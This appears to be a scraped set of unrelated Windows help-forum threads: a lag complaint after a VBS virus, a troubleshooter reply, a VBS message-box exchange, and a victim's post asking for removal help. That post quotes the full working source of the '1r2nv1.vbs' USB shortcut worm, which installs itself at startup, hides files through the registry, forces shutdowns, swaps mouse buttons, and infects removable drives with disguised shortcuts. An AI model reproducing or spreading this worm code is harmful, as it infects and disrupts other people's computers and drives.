Windows 10: vbs virus lag

so after i deleted the vbs.run virus my pc still lagging and stuttering while playing roblox,but before i got that virus my pc run smoothly please help

:)

 

Random lag spikes

Hi,

We would like to know more about your lag issue:

• What browser are you using when you experience a lag?
• Does the lag occur in a particular game?

In the meantime, we suggest you run the System Maintenance troubleshooter. Here are the steps:

• Press Windows Key + X.
• Click on Control Panel.
• Select Troubleshooting.
• On the left pane, click on View All.
• Click on System Maintenance to run the troubleshooter.

Looking forward to your response.

 

VBS Msgbox

Denis,

• I was too lazy to compute the size programmatically. And, it the 2005 version the message box always came up hidden, so I always used 0 for the top. It's also part of my OCD to be able to control everything.
• I personally don't need it to timeout. I used this in vbs files to ask to continue to the next step, skip the next step or cancel the vbs. BTW, I added the code back in but keep it assign it to 0.
• Sound was calling Windows Media Player: WshShell.Run "C:\Users\donast\desktop\sndrec32.lnk",7,false the lnk is a shortcut on my old desktop that had: "C:\Program Files (x86)\Windows Media Player\wmplayer.exe"
  "C:\Users\Public\Music\Wavefiles\Twilight.wav"
• Yes. The value is the number of the button in the order specified when calling it.
• Never really thought about it as all my VBS/VBA code is relatively simple and I add comments in the file as necessary to remind me what is going on. I don't usually have anyone to share my code.

FYI I use a VBS to call it. Here's a line from a test vbs I use to run your version:

choice=Wshshell.run("custommsgbox.vbs " & wscript.scriptname & " ""CopyFiles.vbs done. Continue with UnArchVista.vbs?"" ""White"" ""Black"" 40 ""Yes"" ""No"" ""Cancel""",1,true)

Copy it to a text editor to see all the spaces, etc. Took me a while back the to figure it out.

Don

 

Shortcut Virus "1r2nv1.vbs"

My system has been infected with the shortcut virus "1r2nv1.vbs". I used cmd attrib command to see the file and the contents of the script are -

On Error Resume Next

strComputer = "." '(Any computer name or address)

Set wmi = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")

Set wmiEvent = wmi.ExecNotificationQuery("select * from __InstanceOperationEvent within 1 where TargetInstance ISA 'Win32_PnPEntity' and TargetInstance.Description='USB Mass Storage Device'")

Set WshShell = CreateObject("WScript.Shell")

Set fs = CreateObject("Scripting.FileSystemObject")

If fs.FileExists("1r2nv1.vbs") then

fs.DeleteFile("1r2nv1.vbs")

end If

If fs.FileExists("1r2nv2.vbs") then

Set objFile = fs.GetFile("1r2nv2.vbs")

If not objFile.Attributes And 2 Then

objFile.Attributes = objFile.Attributes +2

end if

end if

Path = WshShell.SpecialFolders("Startup")

X = fs.CopyFile("1r2nv2.vbs", Path & "\", True)

Set lnk = WshShell.CreateShortcut(Path & "\Windows Service.lnk")

lnk.TargetPath = Path&"\1r2nv2.vbs"

lnk.IconLocation = "C:\windows\system32\SHELL32.dll,4"

lnk.Save

Set lnk = Nothing

Hidden = "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden"

SHidden = "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden"

St = WshShell.RegRead(Hidden)

If not St = 2 Then

WshShell.RegWrite Hidden, 2, "REG_DWORD"

WshShell.RegWrite SHidden, 0, "REG_DWORD"

End If

WshShell.SendKeys("{F5}")

If DatePart("d", Now) = 9 Then

WScript.Sleep(10000)

strCmd = "shutdown -s -f -t 0 -c System-Error"

WshShell.Run strCmd

end If

If fs.FolderExists("Systems") then

WshShell.Run "cmd /c start Systems",0

end if

While True

Set usb = wmiEvent.NextEvent()

Select Case usb.Path_.Class

Case "__InstanceCreationEvent"

do

Hidden = "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden"

SHidden = "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden"

St = WshShell.RegRead(Hidden)

If not St = 2 Then

WshShell.RegWrite Hidden, 2, "REG_DWORD"

WshShell.RegWrite SHidden, 0, "REG_DWORD"

End If

Const Removable=1

For Each oDrive In fs.Drives

If oDrive.DriveType = Removable And oDrive.DriveLetter <> "A" Then

If not fs.FolderExists(oDrive.DriveLetter & ":\Systems") then

fs.CreateFolder oDrive.Driveletter & ":\" & "Systems"

end if

Set objFolder = fs.GetFolder(oDrive.DriveLetter & ":\Systems")

If not objFolder.Attributes And 2 Then

objFolder.Attributes = objFolder.Attributes +2

End If

If fs.FolderExists(oDrive.DriveLetter & ":\Systems") then

For each file in fs.getfolder(oDrive.DriveLetter & ":\").files

file.move oDrive.DriveLetter & ":\Systems\"

Next

For Each SubFolder in fs.getfolder(oDrive.DriveLetter & ":\").SubFolders

subfolder.move oDrive.DriveLetter & ":\Systems\"

Next

end if

If not fs.FileExists(oDrive.DriveLetter & ":\1r2nv2.vbs") Then

fs.copyfile "1r2nv2.vbs" , oDrive.DriveLetter&":\", True

Set objFile = fs.GetFile(oDrive.DriveLetter & ":\1r2nv2.vbs")

If not objFile.Attributes And 2 Then

objFile.Attributes = objFile.Attributes +2

end if

end if

Set lnk = WshShell.CreateShortcut(oDrive.Driveletter & ":\" & oDrive.VolumeName & ".lnk")

lnk.TargetPath = "cmd.exe"

lnk.Arguments = "/c start 1r2nv2.vbs&exit"

lnk.IconLocation = "C:\windows\system32\SHELL32.dll,7"

lnk.Save

Set lnk = Nothing

fs.copyfile Path&"\1r2nv2.vbs" , oDrive.DriveLetter&":\"

If fs.FolderExists(oDrive.DriveLetter & ":\Systems\ast") Then

Wshshell.run oDrive.DriveLetter & ":\Systems\ast\ast.vbs"

End If

WScript.Sleep(30000)

end if

next

if Weekday(Date) = vbmonday then

WshShell.Run "cmd /c Rundll32 User32,SwapMouseButton", 0, True

end if

if Weekday(Date) = vbthursday then

WshShell.Run "cmd /c Rundll32 User32,SwapMouseButton", 0, True

end if

loop

End Select

Wend

I believe the script has been executed before as all USB drives (even after clean formatting) inserted in my PC are being infected. Windows Defender is not able to detect anything in my USB or in my system. Please help me remove
the relevant registry entries made by this virus and fix my PC.

I have also submitted the file at WDSI with submission ID a9922ae0-840a-4f2c-a70a-6251a9b69131